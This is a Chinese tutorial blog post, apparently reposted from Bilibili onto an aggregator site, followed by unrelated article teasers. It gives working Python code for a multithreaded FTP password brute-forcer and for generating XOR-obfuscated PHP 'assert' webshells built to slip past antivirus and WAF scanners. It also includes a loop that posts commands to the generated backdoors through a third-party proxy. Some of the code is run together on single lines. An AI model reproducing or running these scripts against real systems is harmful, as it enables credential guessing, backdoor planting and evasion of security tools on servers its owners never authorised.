python开发poc2,爆破脚本

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect('192.168.109.1', 21)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':q = queue.Queue()#创建一个队列对象for usern in open('user.txt'): #循环遍历用户名for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(10):#创建十个线程t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码# while not q.empty():
def ftp_bao(ip,port):while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect(ip, port)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':ip = sys.argv[1]port = sys.argv[2]username = sys.argv[3]passwd = sys.argv[4]xc = sys.argv[5]q = queue.Queue()#创建一个队列对象for usern in open(username): #循环遍历用户名for passfile in open(passwd):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(int(xc)):#创建十个线程t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数t.start()# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/799335.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI大模型下的策略模式与模板方法模式对比解析

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》《MYSQL应用》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;坚持默默的做事。 &#x1f680; 转载自热榜文章&#xff1a;设计模式深度解析&#xff1a;AI大模型下…

3D目标检测跟踪 | 基于kitti+waymo数据集的自动驾驶场景的3D目标检测+跟踪渲染可视化

项目应用场景 面向自动驾驶场景的 3D 目标检测目标跟踪&#xff0c;基于kittiwaymo数据集的自动驾驶场景的3D目标检测跟踪渲染可视化查看。 项目效果 项目细节 > 具体参见项目 README.md (1) Kitti detection 数据集结构 # For Kitti Detection Dataset └── k…

4.7总结(内部类,JDBC API || 离散化,树状数组)

JAVA学习小结 一.内部类 基础概念&#xff0c;用途和访问特点 什么是内部类&#xff1a;写在一个类中的另一个类称之为内部类&#xff1b; 内部类的用途&#xff1a;用于封装那些单独存在时没有意义&#xff0c;且是外部类的一部分的类&#xff08;汽车发动机&#xff0c;人…

【MySQL探索之旅】数据库设计以及聚合查询

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 |《MySQL探索之旅》 |《Web世界探险家》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更…

Django之静态文件及模板语法(上)

Python学习之路系列文章目录 python面向对象之警察与匪徒火拼场景模拟python面向对像之第二次笔记Django环境搭建及测试第1个Django应用及Django的请求处理Django之静态文件及模板语法&#xff08;上&#xff09; 静态文件及模板语法 Python学习之路系列文章目录一、静态文件1.…

SQLite 4.9的虚拟表机制(十四)

返回&#xff1a;SQLite—系列文章目录 上一篇:SQLite 4.9的 OS 接口或“VFS”&#xff08;十三&#xff09; 下一篇&#xff1a;SQLite—系列文章目录 1. 引言 虚拟表是向打开的 SQLite 数据库连接注册的对象。从SQL语句的角度来看&#xff0c; 虚拟表对象与任何其他…

软考高级:计算机网络概述

作者&#xff1a;明明如月学长&#xff0c; CSDN 博客专家&#xff0c;大厂高级 Java 工程师&#xff0c;《性能优化方法论》作者、《解锁大厂思维&#xff1a;剖析《阿里巴巴Java开发手册》》、《再学经典&#xff1a;《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

数据库相关知识总结

一、数据库三级模式 三个抽象层次&#xff1a; 1. 视图层&#xff1a;最高层次的抽象&#xff0c;描述整个数据库的某个部分的数据 2. 逻辑层&#xff1a;描述数据库中存储的数据以及这些数据存在的关联 3. 物理层&#xff1a;最低层次的抽象&#xff0c;描述数据在存储器中时如…

五一假期来临,各地景区云旅游、慢直播方案设计与平台搭建

一、行业背景 经文化和旅游部数据中心测算&#xff0c;今年清明节假期3天全国国内旅游出游1.19亿人次&#xff0c;按可比口径较2019年同期增长11.5%&#xff1b;国内游客出游花费539.5亿元&#xff0c;较2019年同期增长12.7%。踏青赏花和户外徒步成为假期的热门出游主题。随着…

Taro打包生成不同目录

使用taro init创建taro项目时&#xff0c;taro默认打包目录是&#xff1a; /config/index.js outputRoot:dist默认的目录&#xff0c;编译不同平台代码时就会覆盖掉&#xff0c;为了达到多端同步调试的目的&#xff0c;这时需要修改默认生成目录了&#xff0c;通过查看官方文…

【LeetCode】排序数组——不一样的方式实现快排

目录 题目链接 颜色分类 算法原理 代码实现 排序数组 算法原理 代码实现 最小的k个数 算法原理 代码实现 题目链接 LeetCode链接&#xff1a;75. 颜色分类 - 力扣&#xff08;LeetCode&#xff09; LeetCode链接&#xff1a;912. 排序数组 - 力扣&#xff08;L…

docker 部署 Epusdt - 独角数卡 dujiaoka 的 usdt 支付插件

部署 部署说明 部署之前必须注意的几点事项,该教程不一定适合所有用户: 本教程主要是使用 docker 部署,宝塔用户或宿主机直接安装的用户请直接参考官网教程.本教程是独立部署 epusdt,使用独立的mysql和redis,与dujiaoka项目分开. 在研究的过程中发现 epusdt 也需要用到 mys…

CADP加密系统的可扩展性和可定制性

CADP加密系统是一种专门用于保护CAD(计算机辅助设计)文件安全的加密解决方案。随着CAD技术在各个领域的广泛应用&#xff0c;CAD文件的安全性和保密性日益受到重视。CADP加密系统通过一系列先进的加密技术和安全措施&#xff0c;为CAD文件提供全面的保护&#xff0c;防止未经授…

ES入门十五:分页的三驾马车【from+size、search after、scroll api】

从数据集中获取数据时分页是绕不开的操作&#xff0c;一下子从数据集中获取过多的数据可能会造成系统抖动、占用带宽等问题。特别是进行全文搜索时&#xff0c;用户只关心相关性最高的那个几个结果&#xff0c;从系统中拉取过多的数据等于浪费资源。 ES提供了3种分页方式&…

Java | Leetcode Java题解之第15题三数之和

题目&#xff1a; 题解&#xff1a; class Solution {public List<List<Integer>> threeSum(int[] nums) {int n nums.length;Arrays.sort(nums);List<List<Integer>> ans new ArrayList<List<Integer>>();// 枚举 afor (int first 0;…

springboot整合ShardingSphere分库分表并插入1kw条记录

目录 一&#xff0c;数据分片 二&#xff0c;水平分片 三&#xff0c;创建数据库表 四&#xff0c;springboot项目导入依赖 五&#xff0c;创建类 六&#xff0c;bug bug放到最后了。 一&#xff0c;数据分片 数据分片指按照某个维度将存放在单一数据库中的数据分散地存…

每天学习一个Linux命令之curl

每天学习一个Linux命令之curl 在Linux系统中&#xff0c;有很多有用的命令可以帮助我们与网络进行交互。一个非常常用的命令是curl&#xff0c;它是一个功能强大的工具&#xff0c;可用于发送、接收和处理各种网络请求。本文将详细介绍在Linux下使用curl命令的各种选项及其用法…

如何理解图像处理领域的病态问题(ill-posed problem)

ill-posed problem&#xff0c;我们可以理解为病态问题或者不适定问题。在本文中&#xff0c;统一成为不适定问题。 在讨论不适定问题&#xff08;ill-posed problem&#xff09;之前&#xff0c;我们先来看一下什么叫适定性问题&#xff08;well-posed problem&#xff09;。…

如何明确的选择IT方向?

一、明确目标 作为初学者&#xff0c;先树立自己目标&#xff0c;找到自己感兴趣的IT行业&#xff0c;IT行业分很多种&#xff0c;听的最多次的无非不就是web前端工、程序员、后端、大数据、网络运维等。学习知识也是为了找到更好的工作&#xff0c;所以我建议先去boss直聘、五…

目标检测标签分配策略,难样本挖掘策略

在目标检测任务中&#xff0c;样本的划分对于模型的性能具有至关重要的影响。其中&#xff0c;正样本指的是包含目标物体的图像或区域&#xff0c;而负样本则是不包含目标物体的图像或区域。然而&#xff0c;在负样本中&#xff0c;有一部分样本由于其与正样本在特征上的相似性…